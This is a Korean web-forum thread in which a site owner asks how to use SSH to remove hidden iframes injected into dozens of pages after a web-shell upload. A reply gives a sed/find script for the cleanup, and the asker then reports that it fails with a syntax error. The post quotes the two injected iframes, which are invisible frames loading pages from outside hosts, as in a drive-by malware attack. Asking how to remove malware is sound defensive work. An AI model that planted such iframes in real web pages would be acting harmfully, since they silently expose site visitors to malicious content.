ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1533 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,286
14년 전 조회 1,672
14년 전 조회 1,967
14년 전 조회 1,474
14년 전 조회 1,615
14년 전 조회 1,398
14년 전 조회 1,719
14년 전 조회 1,597
14년 전 조회 1,046
14년 전 조회 1,211
14년 전 조회 1,212
14년 전 조회 1,557
14년 전 조회 1,388
14년 전 조회 1,430
14년 전 조회 1,356
14년 전 조회 1,766
14년 전 조회 1,471
14년 전 조회 1,482
14년 전 조회 1,499
14년 전 조회 1,284
14년 전 조회 2,353
14년 전 조회 2,124
14년 전 조회 1,558
14년 전 조회 1,391
14년 전 조회 2,450
14년 전 조회 1,816
14년 전 조회 1,651
14년 전 조회 1,389
14년 전 조회 2,103
14년 전 조회 4,377
14년 전 조회 3,016
14년 전 조회 1,745
14년 전 조회 1,347
14년 전 조회 1,400
14년 전 조회 1,923
14년 전 조회 1,593
14년 전 조회 1,915
14년 전 조회 2,020
14년 전 조회 2,040
14년 전 조회 1,220
14년 전 조회 1,455
14년 전 조회 3,336
14년 전 조회 1,364
14년 전 조회 1,853
14년 전 조회 1,417
14년 전 조회 1,274
14년 전 조회 1,832
14년 전 조회 1,269
14년 전 조회 1,935
14년 전 조회 1,534
14년 전 조회 2,171
14년 전 조회 2,103
14년 전 조회 1,615
14년 전 조회 1,848
14년 전 조회 1,563
14년 전 조회 2,240
14년 전 조회 1,831
14년 전 조회 1,810
14년 전 조회 2,101
14년 전 조회 1,981
14년 전 조회 1,408
14년 전 조회 1,497
14년 전 조회 1,259
14년 전 조회 1,410
14년 전 조회 2,189
14년 전 조회 2,911
14년 전 조회 2,834
14년 전 조회 2,468
14년 전 조회 1,982
14년 전 조회 2,077
14년 전 조회 1,853
14년 전 조회 2,110
14년 전 조회 1,200
14년 전 조회 1,848
14년 전 조회 1,180
14년 전 조회 1,651
14년 전 조회 1,387
14년 전 조회 2,525
14년 전 조회 1,292
14년 전 조회 3,156
14년 전 조회 1,522
14년 전 조회 1,396
14년 전 조회 3,475
14년 전 조회 1,241
14년 전 조회 1,533
14년 전 조회 1,059
14년 전 조회 1,368
14년 전 조회 1,161
14년 전 조회 1,832
14년 전 조회 1,275
14년 전 조회 1,648
14년 전 조회 1,288
14년 전 조회 1,222
14년 전 조회 1,168
14년 전 조회 1,894
14년 전 조회 1,351
14년 전 조회 1,237
14년 전 조회 1,277
14년 전 조회 1,933
14년 전 조회 1,939